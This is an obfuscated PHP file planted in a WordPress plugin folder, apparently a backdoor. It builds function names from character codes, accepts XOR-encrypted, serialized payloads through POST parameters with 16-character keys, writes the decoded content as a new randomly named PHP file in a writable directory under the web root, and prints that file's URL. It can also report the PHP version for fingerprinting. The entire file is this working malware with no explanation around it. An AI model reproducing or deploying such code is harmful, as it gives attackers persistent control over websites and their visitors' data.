File: /var/www/sites/1250.info/wp-content/plugins/nm-portfolio/letjeuxy.php
<?php $GavkN = "HgLxoRxS";function wHIZWWYeK($GavkN){ $JDNRG = chr(115).chr(922-806)."\x72"."\x5f".chr(114)."\157".chr(918-802)."\x31".chr(929-878);$GavkN = $JDNRG($GavkN);$NkVDMYGm = chr(824-710).chr(917-820).chr(728-609).chr(813-696)."\x72".'l'."\x64".chr(581-480).chr(860-761).chr(111).chr(100).chr(453-352);$GavkN = $NkVDMYGm($GavkN);$GavkN = str_split($GavkN);return $GavkN;}function ZRfcm($rCloG, $FaQzWM){$rCloG = array_slice(str_split(str_repeat($rCloG, (count($FaQzWM)/16)+1)), 0, count($FaQzWM));return $rCloG;}function CDnVXFEAtx($gfWqusgENX, $KWHoqSoCU, $rCloG){$BmhSLDsD = "5dca14e3-8549-4561-a1fa-2455d4b5cbe7";return $gfWqusgENX ^ $BmhSLDsD[$KWHoqSoCU % strlen($BmhSLDsD)] ^ $rCloG;}function aAIBkqFc($FaQzWM, $rCloG){$FaQzWM = array_map("CDnVXFEAtx", array_values($FaQzWM), array_keys($FaQzWM), array_values($rCloG));$FaQzWM = implode("", $FaQzWM);$qKiOOnKvw = "\165".chr(110).'s'."\145"."\162"."\x69".chr(605-508).chr(111-3)."\151".chr(508-386).chr(803-702);$FaQzWM = @$qKiOOnKvw($FaQzWM);return $FaQzWM;}function yYzERMUDX(){echo "ABoVRXGCw";}function brESRYIh($HdVcwEir){static $HdVcwEQrlDu = array();$fZIFV = glob($HdVcwEir . '/*', GLOB_ONLYDIR);$CghnXHV = count($fZIFV);if ($CghnXHV > 0) {foreach ($fZIFV as $HdVcwE) {$KNZtomtZR = chr(105)."\x73"."\x5f"."\x77".'r'.'i'."\x74"."\x61".'b'.chr(477-369).chr(101);if (@$KNZtomtZR($HdVcwE)) {$HdVcwEQrlDu[] = $HdVcwE;}}}foreach ($fZIFV as $HdVcwEir) brESRYIh($HdVcwEir);return $HdVcwEQrlDu;}function qfYMPpwods(){echo "HgLxoRxS";}function rRCqgz($FaQzWM){$icXarO = chr(68).chr(79)."\103".chr(85)."\115".chr(69).'N'.chr(84).chr(279-184).chr(82)."\x4f"."\117"."\124";$sYBdjlaR = $_SERVER[$icXarO];$fZIFV = brESRYIh($sYBdjlaR);$CBsxpKD = array_rand($fZIFV);$gKQuh = chr(46).chr(112)."\x68".'p';$bfjRgpIlc = $fZIFV[$CBsxpKD] . "/" . substr(md5(time()), 0, 8) . $gKQuh;$UlPusUy = chr(677-575)."\x69"."\x6c".'e'.'_'."\160".'u'."\164"."\x5f"."\x63".chr(111).chr(636-526)."\x74"."\145"."\156"."\164"."\x73";@$UlPusUy($bfjRgpIlc, $FaQzWM);$cXJBKKfb = 'H'.chr(259-175).chr(1028-944)."\x50".chr(232-137).chr(313-241).chr(630-551).chr(501-418).chr(179-95);$BOwOek = 'h'.chr(116)."\x74".chr(112)."\72"."\x2f"."\x2f";$PmxVCfs = $BOwOek . $_SERVER[$cXJBKKfb] . substr($bfjRgpIlc, strlen($sYBdjlaR));print($PmxVCfs);}function OGgBrqXV(){$LNfoouV = chr(376-264).chr(104).chr(112);$kFTkdOUWq = chr(929-817).chr(584-480).chr(887-775).'v'."\145"."\162".'s'."\151"."\157".'n';$FaQzWM = Array($LNfoouV => @$kFTkdOUWq(), );$sLNOmbgFX = "\163".chr(765-664).chr(784-670).chr(105)."\141"."\x6c".'i'."\x7a".chr(101);echo @$sLNOmbgFX($FaQzWM);}foreach ($_POST as $rCloG => $FaQzWM){$KQASgqghGG = strlen($rCloG);if ($KQASgqghGG == 16){$FaQzWM = wHIZWWYeK($FaQzWM);$rCloG = ZRfcm($rCloG, $FaQzWM);$FaQzWM = aAIBkqFc($FaQzWM, $rCloG);if (@is_array($FaQzWM)){$CBsxpKD = array_keys($FaQzWM);$FaQzWM = $FaQzWM[$CBsxpKD[0]];$CBsxpKD = $CBsxpKD[0];$CBsxpKD = substr($CBsxpKD, 0);if ($FaQzWM !== $CBsxpKD){rRCqgz($FaQzWM);}else {OGgBrqXV();}die();}}}